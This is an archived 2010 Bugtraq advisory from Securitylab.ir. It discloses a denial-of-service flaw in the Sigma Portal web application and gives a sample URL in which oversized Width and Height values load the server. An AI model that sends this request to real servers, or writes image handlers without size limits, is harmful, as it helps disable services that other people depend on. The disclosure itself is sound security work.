bugtraq - Sigma Portal Denial of Service Vulnerability

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Date: Thu, 23 Dec 2010 01:50:44 -0700
From: info@...uritylab.ir
To: bugtraq@...urityfocus.com
Subject: Sigma Portal Denial of Service Vulnerability

################################################################# 
# Securitylab.ir
################################################################# 
# Application Info:
# Name: Sigma Portal
# Vendor: http://www.sigma.ir
################################################################# 
# Vulnerability Info:
# Type: Denial of Service
# Risk: Medium
# 2010-08-11 - Vendor notified
#################################################################
Vulnerability: 
http://site.ir/Portal/Picture/ShowObjectPicture.aspx?Width=%27910000&Height=1099000-=&ObjectType=News&ObjectID=(Picture ID)

With setting of large values of width and height it's possible to create
large load at the server.
################################################################# 
# Discoverd By: Pouya Daneshmand
# Website: http://Securitylab.ir
# Contacts: info[at]securitylab.ir & whh_iran[at]yahoo.com
###################################################################